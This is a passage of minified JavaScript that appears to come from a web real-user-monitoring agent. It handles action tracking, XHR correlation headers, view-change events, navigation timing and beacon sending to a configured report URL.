b?r=Oe(b.start,b.name,b.type,b.info,b.id,b.aa):a&&(r=Oe(d));a=r;d=Ok;1<d.length&&1<a.length&&d[3]===a[3]&&(d[2]=a[2],d[0]=a[0],a=d);a.length&&(d=ae,b=d.timestamp,f=d.group,d=[$a(d.name),b,$a(f||""),I(ce(d,!0))],xc(a.join("|"),d.join("|")),Ok=a.concat(d),(l=l.sSAC)&&l(!0,!0))}}function je(a,b){return tm("mcepsl")?Ca(b):Ca(b,Tc("mcepsl"))}function Wd(a,b,d){var f;void 0===d&&(d=!1);if("tvn"===a||"svn"===a||"tvg"===a||"svg"===a)return b;var l=Tc("mcepsl");return b&&b.length>l?(d&&(null===(f=mb.console)|| void 0===f?void 0:f.log("Truncating agent event because the size for property [".concat(a,"] exceeds size limit of ").concat(l," characters: [").concat(b.length,"]"))),Ga(b,l,"lcpSel"===a)):b}function jg(a,b){for(var d=Tc("mcepsl"),f=[],l=0;l<b.length;l++){var r=b[l],G=r[0],ea=r[1];r=G;if(0!==Hf){var ya=ae,ob=ya.name,zb=ya.group;ya=ya.timestamp;ea=ob&&ea===ob&&"tvn"===r||zb&&ea===zb&&("tvg"===r||"svg"===r)||ya&&ea===String(ya)&&"tvt"===r?"":ea}r=Wd;ob=fo[a];"function"===typeof ob&&(r=ob);"object"=== typeof ob&&ob[G]&&(r=ob[G]);ob=Ga(G,d);(G=r(G,ea))&&ob&&f.push([ob,G])}return f}function Fe(a,b){void 0===b&&(b=1);var d=[String(b),String(a.id),"_event_",String(a.timestamp),String(a.kind)];a=jg(a.kind,a.eb);Ac(a,function(f){var l=f[1];Ob(d,I(f[0]));Ob(d,I(l))});return d.join("|")}function Ge(a,b,d){for(var f,l,r="",G="",ea=0;ea<a.length;ea++){var ya=a[ea];ya.Uc();var ob=ya.Mb();ya.Qb(d);r||(r=ya.La());G=ya.La();if("_load_"===ya.type&&(de=!0,f=Sh)){G=[f.id,f.name,f.type,f.info,f.frameId,f.startTime]; f.isDelayed?(l="",f.anchor&&(l="#"+f.anchor),G.unshift("d"),Ob(G,f.qa+l,"")):G.unshift("s");Ob(G,f.aa||"");if(f.na){l=f.na;var zb=l.timestamp,pb=l.group;Ob(G,l.name);Ob(G,zb);pb&&Ob(G,pb)}f=f.qa;l=G.join("|");G=f;Ob(b,l);Sh=void 0}ya.parentFrameActionName&&(f=Ob,l=ya.pd,ya=[0,ya.Kd,I(ya.parentFrameActionName),l].join("|"),f(b,ya));Ob(b,ob)}return{Fa:r,qa:G}}function Ee(a,b){var d,f,l=ad(Le,function(ya){return(ya.Tc()||a||b)&&!ya.$e()}),r=ge;if(b){r=[];ge=[];for(var G=0;G<l.length;G++){var ea=l[G]; pc((d={},d.kind=3===ea.status?"ACTION_BEACON_FORCED":"ACTION_CLOSED",d.detail=(f={},f.a=ea.start,f.s=ea.stop,f.r=ea.ta(),f.i=ea.id,f.f=!0,f.t=ea.type,f.x=ea.xhrUrl,f.rt=void 0,f),d))}Ze.oa=[];Ab(Nd&&null!==Nd?Nd.tb():null);Nd=null}return{rg:l,Af:r}}function mi(a,b){void 0===a&&(a=!1);void 0===b&&(b=!1);var d=[],f=Ee(b,a);b=f.Af;f=Ge(f.rg,d,a);a=f.Fa;f=f.qa;Ac(um,function(l){Ob(d,Fe(l))});Le=na([],b,!0);um=[];return{pc:d.join(","),referer:a,sourceUrl:f}}function kg(a,b,d,f){for(var l=0,r=zl().slice();l< r.length;l++){var G=r[l];try{G(a,b,d,f)}catch(ea){}}}function tf(){return vg}function Wf(a,b,d,f,l,r,G){mj=!1;a=l||vg.qd(a,b,d);if(a.beacon){d=!!d;f=!!f;b=G;var ea;void 0===r&&(r=!1);void 0===b&&(b=(ea={},ea.contentType="",ea));if(Db()||!a.beacon)a=0;else{ea=a.referrer||O();Jd(b,"rf",Kc(encodeURIComponent(ea||""),Tc("mhl"))[0]);hc("owasp")&&(G=encodeURIComponent(ea||""),vg.av(a.beacon,"rf",G));G=kc();vg.av(a.beacon,"time",G);G=r;l=p;var ya=13>=l.sf,ob=!0;G=d&&rn&&!hc("dsndb")&&!ya&&!G||hc("svNB"); !G&&(f||d&&(l.sf||l.msf||hc("lab")||(l.ie||l.edge)&&kb))&&(ob=!1);d=ob;f=b;b=a.beacon;l=document.cookie;ya=pd(l);var zb=hk("dtLatC",l);ob=Xc("cuc");Jd(f,"sn",encodeURIComponent(ya));Jd(f,"latency",encodeURIComponent(zb));Jd(f,"flavor",hc("cors")?"cors":"post");if(void 0===f.crc){ya=b.gd?b.Rb:b.Yc();if("string"===typeof ya)b:{try{if(Th.TextEncoder){var pb=(new Th.TextEncoder).encode(ya);break b}}catch(Hc){}pb=[];for(zb=0;zb<ya.length;zb++){var Tb=ya.charCodeAt(zb);128>Tb?pb.push(Tb):2048>Tb?(pb.push(Tb>> 6|192),pb.push(Tb&63|128)):55296===(Tb&64512)&&zb+1<ya.length&&56320===(ya.charCodeAt(zb+1)&64512)?(Tb=65536+((Tb&1023)<<10)+(ya.charCodeAt(++zb)&1023),pb.push(Tb>>18|240),pb.push(Tb>>12&63|128),pb.push(Tb>>6&63|128),pb.push(Tb&63|128)):(pb.push(Tb>>12|224),pb.push(Tb>>6&63|128),pb.push(Tb&63|128))}}else pb=ya;ya=-1;for(zb=0;zb<pb.length;)ya=ya>>>8^sn[(ya^pb[zb++])&255];pb=(ya^-1)>>>0;-1!==pb&&(f.crc=pb)}Jd(f,"vi",encodeURIComponent(b.zb("vi")||qi()));Jd(f,"bp",3);Jd(f,"v",tn);Jd(f,"app",encodeURIComponent(Xc("app"))); Jd(f,"type","js3");Jd(f,"dtAdk",encodeURIComponent(Na("dtAdk",l)));Jd(f,"contentType","");Jd(f,"modifiedSince",Tc("lastModification"));Jd(f,"svrid",Li());ob&&(f.en=ob);f.contentType&&"srRs"===f.contentType&&Jd(f,"msl",Tc("msl"));f.end=1;b=hc("cors");pb=["type","sn","svrid","flavor","vi"];Ob(pb,"contentType","modifiedSince");hc("owasp")||Ob(pb,"rf");b&&Ob(pb,"dtAdk");Ob(pb,"bp");Xc("app")&&Ob(pb,"app");f.contentType&&Ob(pb,"v");-1!==f.crc&&Ob(pb,"crc");Xc("cuc")&&Ob(pb,"en");"srRs"===f.contentType&& Ob(pb,"msl");Ob(pb,"end");b=Xc("reportUrl");l=[];for(ob=0;ob<pb.length;ob++)ya=pb[ob],f[ya]&&Ob(l,ya+"="+f[ya]);(pb=l.join("&"))&&(b+="?"+pb);pb=lg(a.beacon);f=!0;for(l=0;l<pb.length;l++)f=!!ja(od,hd({xc:G,path:b,async:d,Fa:ea,beacon:a.beacon,Ka:pb[l],vc:l,wc:pb.length,Ge:r}),f);a=0;pb.length&&(a=f?2:1)}}else a=0;return a}function me(a,b,d,f,l,r,G){var ea=Id(Na("dtAdkSettings")).Vc;Ig=ea;if(1===ea)return 0;if(2===ea){if(d)return 0;Zc(function(){me(a,b,d,f,l,r,G)},5E3)}else return Wf(a,b,d,f,l,r,G); return 0}function Jd(a,b,d){void 0===a[b]&&(a[b]=d)}function lg(a){if(a.Rb)return[a.Rb];a=a.Yc();var b=Z(C())?145E3:Tc("msl")-40;b=0===a.length%b?Math.floor(a.length/b):Math.floor(a.length/b)+1;if(!(1<b))return[a];if(1>b||20<b)return[];b=Z(C())?145E3:Tc("msl")-40;var d="sid="+kc()+"&p#index#_#total#=";return Kc(a,b,d)}function Bg(a){Vc(a)}function Vc(a){if(mj){var b=!1;"number"===typeof a?kc()+a<Al&&(b=!0):b=!0;b&&(ti(Sm),mj=!1)}mj||(Al=kc()+(a||0),"number"===typeof a?(Sm=Zc(me,a),mj=!0):me())}function Cf(a, b,d){return me(b,d,!1,a)}function nf(a){Ob(zl(),function(b,d,f,l){a(l,d,f,l.Kb)})}function ih(){var a=qm;return 0===a?null:{severity:"Error",type:"be",text:"Beacon sending failed for ".concat(a," attempt").concat(1<a?"s":"","! Look in the browser DevTools for more information.")}}function Rg(){tn=$d(gb());vg=new go;Tm=0;Ud&&Ud(function(a,b,d){d&&(10>Gc.length?Gc.push(d):(a=Gc[10])?Gc[10]=String(Number(a)+1):Gc.push("1"))});Ig=Id(Na("dtAdkSettings")).Vc;rb("DEBUG_INFO_REQUESTED",ih)}function Eg(){for(var a= !1,b=[],d=0,f=ge;d<f.length;d++){var l=f[d];l.kc&&0<l.kc&&(l.Va&&kc()>l.Va&&(l.Va+=6E4,Ob(b,l)),a=!0)}0<b.length&&me(!0,!0);for(d=0;d<b.length;d++)b[d].kc--;a&&Zc(Eg,1E3)}function of(a,b,d){var f=Nd;f!==a&&(f&&!d&&Ab(f),(Nd=a)?ja(Yl,a.id,b):ye())}function Tg(a){eg=null;if(Wg&&Wg.gca){var b=Wg.gca();if(eg=b[b.length-1])a.Kd=eg.id,a.parentFrameActionName=eg.name,eg.childFrameActions?eg.childFrameActions++:eg.childFrameActions=1}}function Xf(a,b,d){if(hc("ffi"))return!0;b=String(b);d=String(d);for(var f= !1,l=f,r=f,G,ea=0;ea<a.length&&(!f||!l);ea++)G=a[ea].split("."),f=G[0],G=G[1],f=f===b,l=G===d,!r&&f&&d>G&&(r=!0);return f&&l?!0:f&&l||r}function Sg(){var a=Id(Na("dtAdkSettings")).Vc;if(Ig!==a&&(Ig=a,0!==a)){a=0;for(var b=ge;a<b.length;a++)b[a].Db()}}function Cg(){var a=[];for(var b=Ze.oa.length-1;0<=b;b--)if(Ze.oa[b].Tc()){var d=eb(Ze.oa,b);a=a.concat(d)}b=!1;Sg();d=ge;for(var f=d.length-1;0<=f;f--){var l=d[f];if(l.Ie)eb(d,f);else{var r=0<=mf(a,l),G=eg;r?(eb(d,f),b=!0):G&&(r=Wg.gca(),l.pd=n&&r[r.length- 1]===G?"S":"A",eg=null)}}b&&Vc()}function ni(){"hidden"===document.visibilityState?(Fh="1",Yf()):Fh="0"}function Yf(){var a;pc((a={},a.kind="PAGE_BACKGROUND_INFORMATION",a.detail=Fh,a))}function Df(a){Bl++;(a=$b(a.detail.i))&&!a.na&&(a.na=ae)}function Mf(a){Bl--;if(a=$b(a.detail.i))a.Ag=Fa(a.stop)||ae;1>Bl&&(lj=[])}function Ef(a,b,d){var f=b[Um[a]];b=b.startTime;if(f)if(0<=yc("yK",a))d.push(a,f);else if("T"===a)"number"===typeof f&&0>f&&0===f%1&&d.push(a,f);else{var l=f>=b;"j"===a&&Ue(f,2)&&Math.abs(f- b)<Zl&&(l=!1);var r=f;0<=yc("uvwxACDEFNOPQRSTU",a)?l=0<=f:"number"===typeof f?r=Math.round(f-b):r=f;l&&d.push(a,r)}}function wd(a,b,d){if(b=b[$l[a]]){var f=0<=b;"j"===a&&0===b&&(f=!1);f&&d.push(a,Math.round(b))}}function Nf(a,b,d){(b=b[am[a]])&&d.push(a,b)}function Ye(a,b){a=a.serverTiming;for(var d={},f=0,l=Pn;f<l.length;f++){var r=l[f];d[r]=""}if(a){for(f=0;f<a.length;f++)l=a[f],l.description&&!isNaN(Number(l.description))&&(r=l.name,r in d&&!d[r]&&(d[r]=l.description));d.dtRequestID&&(b.push("C"), b.push(d.dtRequestID));d.dtRpid&&(b.push("M"),b.push(d.dtRpid));d.dtSInfo&&(b.push("V"),b.push(d.dtSInfo));d.dtTao&&(b.push("W"),b.push(d.dtTao))}}function Ff(a,b,d,f){var l=0;for(a=oc(a);l<a.length;l++)d(a[l],b,f)}function Ug(){if(!window.performance)return[];var a=null,b=-1,d=performance.timeOrigin;"getEntriesByType"in performance&&(a=performance.getEntriesByType("navigation")[0])&&a.type&&(b=Vm[a.type]);a&&"responseEnd"in a||(a=performance.timing);-1===b&&(b=performance.navigation.type);d||(d= performance.timing.navigationStart);return(!C().googleBot||Z(C()))&&0<d?(b=["a",b,"b",Math.round(d)],k(a,b,d),b):[]}function k(a,b,d){if(Xa&&db(a,12)||db(a,["navigationStart"])&&!("entryType"in a))for(var f in Pk){if(Ra(Pk,f)){var l=f,r=a[Pk[l]];if(r){var G=r>=d;"j"===f&&r===d&&(G=!1);G&&b.push(l,Math.round(r-d))}}}else if(d=C(),d=d.gSig?d.gFU():{},ua(a)){Ff(Um,a,Ef,b);f=Ob;r=f.apply;G=[];if(ua(a)){if("xmlhttprequest"===a.initiatorType||"fetch"===a.initiatorType){var ea="1";Yg[a.name]&&(ea="11",delete Yg[a.name]); G.push("z",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);ea="";"frame"===a.initiatorType?ea="f":"iframe"===a.initiatorType||"subdocument"===a.initiatorType?ea=isNaN(d[a.name])?"i":"i"+d[a.name]:0<=(a.frameId||-1)&&(ea="r"+a.frameId);ea&&G.push("B",ea)}else Yg[a.name]&&(G.push("z","01"),delete Yg[a.name]);r.call(f,void 0,na([b],G,!1));b.push("I",null!==(l=vm[a.initiatorType])&&void 0!==l?l:0);Ye(a,b)}else Ka(a)?(Ff($l,a,wd,b),Ye(a,b)):Ff(am,a,Nf,b)}function w(){hc("ntd")||Qe(function(a, b,d,f){b||bm||!de||(bm=!0,a.av(f,"nt",Ug().join("")||"0",!0))})}function M(){var a;pc((a={},a.kind="INSTRUMENTATION_TRIGGERED",a.detail=void 0,a))}function A(a){var b=ge;Tg(a);Ob(b,a);b=Nd;b!==a&&(Ab(b),Nd=a);Ob(Le,a);Zc(Eg,5E3)}function Ta(a){var b=a.start,d=a.xhrUrl,f=a.nc,l=a.qa,r=a.Za;r=void 0===r?!1:r;var G=a.isCustomAction;G=void 0===G?!1:G;var ea=a.Ma;ea=void 0===ea?!1:ea;var ya=a.Rd;ya=void 0===ya?-1:ya;var ob=a.aa;ob=void 0===ob?"":ob;var zb=a.na,pb=a.ac;a=new qh(b,a.stop||b,a.type,a.name, a.info||"",a.domNodes||-1,xb(void 0===l?"":l),U(),d||"",G,ea,r,f,ya,ob,zb,pb);Sg();a.$b()&&Ob(Ze.oa,a);Ze.actions[a.id]=a;ja(nj);return a}function xb(a){if(a){var b=document.createElement("a");b.href=a;if("file:"===b.protocol||"about:"===b.protocol||b.hostname)return b.href;var d=function(f,l,r,G){f.av(G,"rfi",1,!1);wm(d)};Qe(d)}return location.href}function ec(a){var b,d,f;a.start||(a.start=kc());var l=Ta(a);l.ra=Zc(function(){l&&(3!==l.status||l.Pb())&&uc(l.id)},1E3*Tc("oat"));var r=null;switch(ma(a.pa)){case 1:r= Nd;break;case 2:if(r=$b(a.pa),!r&&"_load_"===a.type)return l}pc((b={},b.kind="ACTION_ENTERED",b.detail=(d={},d.i=l.id,d.a=a.start,d.s=0,d.x=a.xhrUrl,d.r=r?r.ta():l.id,d.t=l.type,d.e=null===(f=Pb())||void 0===f?void 0:f.target,d.rt=void 0,d),b));"undefined"===typeof a.Rd&&of(l,!1,!!r);if(r)for(r=r.tb(),r.Sc(l),a=0,b=ge;a<b.length;a++)d=b[a],d.Va>l.start+1E4&&(d.Va=l.start+1E4);else A(l.Ue()),Hj();return l}function uc(a,b,d){var f,l;a=$b(a);var r=b,G=C();if(!r&&a&&"_load_"===a.name&&"_load_"===a.type&& G.gLVD){r=Z(G);var ea=aa(mb.performance,"loadEventEnd");if(ea){var ya=G.gVCP();r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," vc time is: ").concat(ya,", and loadEventEnd time is: ").concat(ea,"."));r=Math.max(ya,ea)+ef()}else r&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," No load event end, taking current time for load action end!")),r=kc();Z(G)&&G.logSynthetic("".concat("[actions/actionmanagement/action-creation] "," Computed load action end time with arguments: ").concat(JSON.stringify({endTime:b, $h:r}),"."))}b="number"===typeof r&&(null===a||void 0===a?void 0:a.isCustomAction);G=r||kc();a&&(pc((f={},f.kind="ACTION_LEFT",f.detail=(l={},l.i=a.id,l.a=a.start,l.s=G,l.r=a.ta(),l),f)),a.Wb(G,d,b),Cg());of(ed(),!0)}function qc(a,b,d){var f=Nd;"undefined"!==typeof b&&null!==b&&(f=$b(b));if(f)return f.Sc(a,d),!1;Tg(a);Ob(Le,a);return!0}function ud(a,b,d,f,l,r,G,ea){"undefined"===typeof f?f=!0:null===f&&(f=!1);a={name:Wa(a),type:b,start:d,pa:f,info:l||"",xhrUrl:r||"",isCustomAction:!!G};ea&&(a.qa= ea);return ec(a).id}function We(a,b,d){M();uc(a,b,d)}function Ei(a){for(var b=Ze.oa.slice(),d=0;d<b.length;d++)uc(b[d].id,a);return b.length}function Ie(a){for(var b=0,d=vf;b<d.length;b++)if(d[b].G===a)return!0;return!1}function Gf(a){var b=Oi();return!!(b&&b.exec&&a&&(b.exec(a)||b.exec(R(a))))}function bf(a,b,d,f,l,r,G){void 0===b&&(b=3);void 0===d&&(d="");void 0===f&&(f=!1);void 0===l&&(l=void 0);void 0===r&&(r=!1);void 0===G&&(G=!1);if(d&&Gf(d))return 0;var ea=wa(d),ya=Pb(),ob=a||"-",zb=ne(!1); if(se){if(zb&&!$b(zb))return 0;kb=!0}ya&&(ya.info="-"===ya.info?ob:ya.info+", "+ob);!zb&&ya&&ya.G&&(zb=ya.G);d=R(d);Yg[d]=!0;a={name:a,type:"xhr",start:kc(),info:ob,xhrUrl:ea,isCustomAction:f,nc:l,ac:G};zb?(ya=0,r||(a.pa=zb,ya=Je(a))):ya?(zb=0,3<=b&&(zb=kf(La(La({},a),{name:ya.Ob(),type:ya.type,start:ya.start,info:ya.info,qa:ya.url,pa:!1,aa:ya.aa||"",na:ya.view})),ya.G=zb,ya.Sb&&cd(!0,$b(zb))),ya=zb):(ya=Nd)?(zb=0,1<=b&&!r&&(zb=Je(La(La({},a),{pa:ya.id}))),ya=zb):ya=hc("cux")?kf(La(La({},a),{name:"Unlinked XHR", type:"xhr",pa:!1})):0;return ya}function kf(a){a:{var b=a.info;var d=a.xhrUrl;if(a.nc&&vf.length)for(var f=vf.length-1;0<=f;f--){var l=vf[f],r=l.G,G=Bd(r);if(G&&b&&b[0]!==l.Hf&&rc(G.xhrUrl||"")===l.xhrUrl&&l.xhrUrl===rc(d||"")){b=r;break a}}b=0}if(b)return b;a.Ma=!0;return ec(a).id}function Je(a){var b=a.pa,d=null;"number"===typeof b&&(d=Bd(b));a.pa=d?d.id:!0;return kf(a)}function Ed(a,b,d,f,l){void 0===b&&(b="");void 0===f&&(f=kc());var r=Bd(a);!r||l&&0>yc(r.info,l)&&r.name!==l||(d?Zc(function(){Ib(b)}, 0):Ib(b),Zc(function(){if(!kb){var G=f;Bd(a)&&uc(a,G)}},cm),M())}function mg(a,b){if(a){var d=Bd(a);d&&(d.cc++,d.Xa||b&&4!==b||d.Ze(kc()),Ob(nh,a),Dj++)}}function kh(a){if(a){var b=Bd(a);b&&(b.Ye(kc()),b.cc--,Dj--,Zc(function(){ze(a)},0))}}function Fd(a,b,d){if("number"!==typeof a||isNaN(a)||0>a)return!1;0===a&&(a=971,b="XHR Canceled");b&&(b+="");d=$b(d)||Nd;if(!d||-1!==d.jc||!d.Ma)return!1;d.jc=a;b&&0<b.length&&(d.$c=b);return!0}function lh(){return!hc("disableXhrFailures")}function Sd(a){return(a= $b(a))&&a.Ma?[a.Xa,a.jb]:[0,0]}function Bc(a,b){var d=Bd(a);if(d){var f=d.xhrUrl;d.Xc(b);d=0;for(var l=vf;d<l.length;d++){var r=l[d];r.G===a&&r.xhrUrl===rc(f)&&(r.xhrUrl=rc(b))}}}function qe(a){return(a=Bd(a))?a.xhrUrl:""}function fj(a,b,d,f){void 0===f&&(f="headers");a=a||{};b=b||a.url;a[f]=a[f]||{};var l=d||a.actionId;if(!a[f]||!md()||(null===Pi||void 0===Pi?0:Pi.test(b)))return a;var r=!(null===Qi||void 0===Qi||!Qi.test(b)),G="";d=Rd(l);if(r){G=zd(l);r=a;var ea=G,ya=f,ob=[],zb=pd(),pb=Li(zb).replace("-", "-2D");Ob(ob,'sn="v_4_srv_'.concat(pb,"_sn_").concat(Cl(zb),'"'));ea&&Ob(ob,'pc="'.concat(ea,'"'));Ob(ob,'v="'.concat(jk(),'"'));Ob(ob,'app="'.concat(Xc("app"),'"'));(ea=Na("dtAdk"))&&Ob(ob,'adk="'.concat(ea,'"'));Ob(ob,'r="'.concat(d,'"'));Lb(r,"x-dtc",ob.join(", "),ya)}if(oa(b))return a;r=hc("dpch");l&&(r||(ya=a,l=G||zd(l),G=f,l&&(Lb(ya,"x-dtpc",l,G),Q()&&(Lb(ya,"x-dtreferer",O(),G),Lb(ya,"x-host",Ha(b),G)))),d&&d!==O()&&Lb(a,"x-dtreferer",d,f));Gf(b)&&!r&&Lb(a,"x-dtpc","ignore",f);return a}function Zf(a){a= kk(a);if(!a)return null;try{return new RegExp(a,"i")}catch(b){}return null}function Fi(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"));rb("CONFIG_UPDATE",function(){Qi=Zf(Xc("chw"));Pi=Zf(Xc("xhb"))})}function Gi(){var a=Nd;return a?a.name:""}function oi(a){for(var b=0,d=Ze.oa;b<d.length;b++)d[b].Wc=a.detail}function Cc(a){var b;return null===(b=$b(a))||void 0===b?void 0:b.Oe()}function sc(a){sd?a(C().bwsW,C().bwsH):Ob(te,a)}function uf(a){for(var b=te.length-1;0<=b;--b)if(a===te[b]){te.splice(b,1);break}}function Ae(){var a= document,b=a.documentElement,d=0,f=0,l=a.body;"number"===typeof self.innerWidth?(d=self.innerWidth,f=self.innerHeight):a&&(b.clientWidth||b.clientHeight)?(d=b.clientWidth,f=b.clientHeight):l&&(l.clientWidth||l.clientHeight)&&(d=l.clientWidth,f=l.clientHeight);if(0>d||0>f)a=0,p.ie?a=140:a=10,d=Math.max(d,a),f=Math.max(f,10);C().bwsW=d;C().bwsH=f;sd=!0;a=0;for(b=te;a<b.length;a++)(0,b[a])(d,f)}function Md(){var a=C();rb("LOAD_END",Ae);a.abwsl||(a.abwsl=sc,a.rbwsl=uf);var b=!1;Qe(function(d,f,l,r){if(!f&& !b&&(de||l)){b=!0;f=function(ob){return 0>ob||2147483647<=ob||isNaN(ob)?0:ob};var G=ic();l=G.bwsW||a.bwsW;G=G.bwsH||a.bwsH;0>=l&&(Ae(),l=a.bwsW,G=a.bwsH);l=f(l);var ea=f(G),ya=G=0;d.av(r,"w",l,!0);d.av(r,"h",ea,!0);if(l=mb.screen)G=f(l.width),ya=f(l.height),d.av(r,"sw",G,!0),d.av(r,"sh",ya,!0)}})}function cf(){var a=0,b=0,d=0,f="Info",l=[];hc("coo")&&hc("cooO")?(a++,Ob(l,{severity:"Info",text:"Opt-in mode is active, but dtrum.enable() has been called.",type:"cooeaoa"})):hc("coo")&&(f="Warning",b++, Ob(l,{severity:"Warning",text:"Opt-in mode is active. Call dtrum.enable() to start collecting data.",type:"cooe"}));Db()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Agent is currently disabled. This can be caused by Cost Control, Overload Prevention, missing RUM License or a disabled application",type:"jsad"}));hc("dsss")&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"DISABLE_SUBDOMAIN_SOURCEACTION_SUPPORT is set.",type:"sssd"}));a:{var r=Xc("featureHash");for(var G=0,ea="7degijmovx".split("");G< ea.length;G++)if(-1!==r.indexOf(ea[G])){r=!1;break a}r=!0}r&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"No module(that could detect a XHR) is active!",type:"nxma"}));Oc()&&(b++,f="Warning",Ob(l,{severity:"Warning",text:"Should not track is set on this browser and respected by the RUM monitoring code!",type:"snt"}));hc("ssc")&&"https:"!==location.protocol&&(d++,f="Error",Ob(l,{severity:"Error",text:"Secure cookies are enabled, but can't be set as the page isn't using https.",type:"scbip"}));return 0< l.length?(a=[df(d,"Error"),df(b,"Warning"),df(a,"Info")],{severity:f,text:"".concat(a.join(""),"regarding agent configuration."),type:"ci",children:l}):null}function df(a,b){return a?"".concat(a," ").concat(b).concat(1<a?"s":""," "):""}function ug(){rb("DEBUG_INFO_REQUESTED",cf);Qe(function(a,b,d,f){hc("ssc")&&"https:"!==location.protocol&&a.av(f,"sconsp",1)})}function Td(){return Xc("rpid")?"automatically":"manually"}function gj(){xd=void 0;ba(document.currentScript)&&(Re=document.currentScript); rb("DEBUG_INFO_REQUESTED",function(){xd||(xd=Re?Re.src?Re.dataset.dtconfig?"OneAgent JavaScripTag ".concat(Td()," injected"):Re.src.includes("_complete")?"JavaScriptTag ".concat(Td()," injected"):Re.getAttribute("defer")?"CodeSnippetDeferred ".concat(Td()," injected"):"CodeSnippetSync ".concat(Td()," injected"):Re.dataset.dtconfig?"InlineCode ".concat(Td()," injected"):"Couldn't detect injection mode.":"Couldn't detect injection mode.");return{severity:"Info",text:xd,type:"im"}})}function Hi(a){switch(a){case 1:if((a= document.currentScript)&&ba(a)){a:{var b,d;if(document.documentElement&&(a=document.documentElement.outerHTML.split(a.outerHTML),2===a.length)){a=(null===(d=null===(b=a[0])||void 0===b?void 0:b.split("\n"))||void 0===d?void 0:d.length)+1;break a}a=void 0}return"Agent is double injected! Is it manually and automatic injected? Current used agent is near: ".concat(document.location,":").concat(a)}return"Agent is double injected! Is it manually and automatic injected?";case 2:return"Problem detected while agent initialization! Snippet couldn't initialize so can't initialize monitoring code"; case 3:return"Problem detected while agent initialization! Snippet couldn't initialize as initConfig didn't initialize.";default:return""}}function re(){rb("DEBUG_INFO_REQUESTED",function(){return 0!==C().di?{severity:"Error",text:Hi(C().di),type:"di"}:null});Qe(function(a,b,d,f){0===C().di||b||a.av(f,"di",C().di)})}function pi(){var a;return pc((a={},a.kind="DEBUG_INFO_REQUESTED",a.detail=void 0,a))}function Yd(){Qe(function(){if(!Pf.disableCookieManager){var a=pd();if(!a||-1===yc(a,"_srv_-"))try{if(mb.sessionStorage){var b= a,d=lk("dtCookie")||"";Mi(d)||(d="");if(d&&"null"!==d&&b!==d){var f=Id(d).sessionId||"";if("undefined"!==typeof b&&""!==b){if((d=b)&&f){var l=d,r=yc(l,"_sn_");if(-1!==r){var G=l.indexOf("_",r+4),ea=-1!==G?l.substring(r,G):l.substring(r);ea&&(l=l.replace(ea,"_sn_"+f))}d=l}var ya=d}else ya=d;b=ya}if(a=b)jj(a),Qk("dtCookie",a)}}catch(ob){}}})}function $f(a){rb("ACTION_ENTERED",function f(d){a.dtWF=f;d=d.detail;var l=d.i;a(l,d.a,d.r===l,d.e)})}function qf(a){rb("ACTION_LEFT",function f(d){a.dtWF=f;d= d.detail;var l=d.i;a(l,d.s,d.r===l)})}function rf(a,b){um.push(a);0===b?Vc():Vc(2E3)}function ag(a,b,d,f,l){void 0===d&&(d=!1);void 0===f&&(f=kc());void 0===l&&(l=0);var r=b;if(1===l&&"_csprv_"===a){if(0!==Hf){r=ae;var G=r.timestamp,ea=r.group,ya=r.trigger;b.push(["tvn",r.name]);b.push(["tvt",String(G)]);b.push(["tvtrg",String(ya)]);b.push(["tvm",ce(r)]);ea&&b.push(["tvg",ea])}r=b}a={id:ke(),timestamp:f,kind:a,eb:r};switch(ma(d)){case 1:(d=Nd)?d.Rc(a):rf(a,l);break;case 2:(d=$b(d))?d.Rc(a):rf(a,l); break;case 0:rf(a,l)}}function yf(a,b){return a?{oldView:a,newView:b}:{newView:b}}function Ch(a,b){void 0===b&&(b=Tc("vncm"));var d=document.createElement("a");d.href=a;a=d.hash;d=d.pathname;"/"!==d.charAt(0)&&(d="/"+d);0===b?b=d+a:2===b?(b=a||"/","#"===b.charAt(0)&&(b=b.replace("#","")),"/"!==b.charAt(0)&&(b="/"+b)):b=d;return b}function Pe(a,b){a.name=b.name;b.group&&(a.group=b.group);a.hydrated=!0}function Oh(a){var b=[],d=a.oldView,f=a.newView;if(d){var l=d.name,r=d.timestamp,G=d.group,ea=d.trigger; l&&r&&(b.push(["svn",l]),b.push(["svt",String(r)]),b.push(["svtrg",String(ea)]),b.push(["svm",ce(d)]));G&&b.push(["svg",G])}d=f.name;G=f.group;ea=f.trigger;b.push(["tvn",d]);b.push(["tvtrg",String(ea)]);b.push(["tvm",ce(f)]);G&&b.push(["tvg",G]);b.length&&ag("_view_",b,!1,a.newView.timestamp||void 0,1)}function Fg(a){de?Oh(a.detail):Ya(a.detail)}function Vg(a){a.detail.i===Kb&&(a=Xg,a.length&&(Ac(a,Oh),Xg=[]),wb("ACTION_SENT",Vg))}function F(a,b){void 0===b&&(b=Tc("dvl"));var d;return function(){for(var f= this,l=[],r=0;r<arguments.length;r++)l[r]=arguments[r];void 0!==d&&ti(d);d=Zc(function(){a.apply(f,l)},b)}}function P(){if(1===Hf){var a=ae,b=Ch(O());a=a.name;if(a+"/"===b)a=!1;else{var d=document.createElement("a"),f=document.createElement("a");d.href=a;f.href=b;a=d.pathname!==f.pathname||!document.getElementById(f.hash.substring(1))&&d.hash!==f.hash}a&&xa({name:b})}}function da(){var a,b=ae,d=oj;b.id!==d.id&&(pc((a={},a.kind="VIEW_STABLE",a.detail=yf(d,b),a)),oj=b)}function xa(a){var b,d=ae,f=La, l=La,r=Tc("rtu"),G=La({},a);G.name=Ga(a.name,r,!0);a.group&&(G.group=Ga(a.group,r,!0));ae=a=f(l({},G),{timestamp:kc(),id:++xm,kind:1,trigger:Hf,hydrated:!1});0<Bl&&lj.push(a);pc((b={},b.kind="VIEW_CHANGE",b.detail=yf(d,ae),b));Qc()}function Qa(a){var b=History.prototype[a];b&&(History.prototype[a]=function(){for(var d=[],f=0;f<arguments.length;f++)d[f]=arguments[f];try{return b.apply(this,d)}finally{var l,r;pc((l={},l.kind="HISTORY_API_EVENT",l.detail=(r={},r.t=a,r.p=d,r),l))}})}function hb(a,b,d, f){if(!b){b=ae;d=b.timestamp;var l=b.group,r=b.trigger;a.av(f,"tvn",encodeURIComponent(b.name));a.av(f,"tvt",String(d));a.av(f,"tvm",encodeURIComponent(ce(b)));a.av(f,"tvtrg",String(r));l&&a.av(f,"tvg",encodeURIComponent(l))}}function 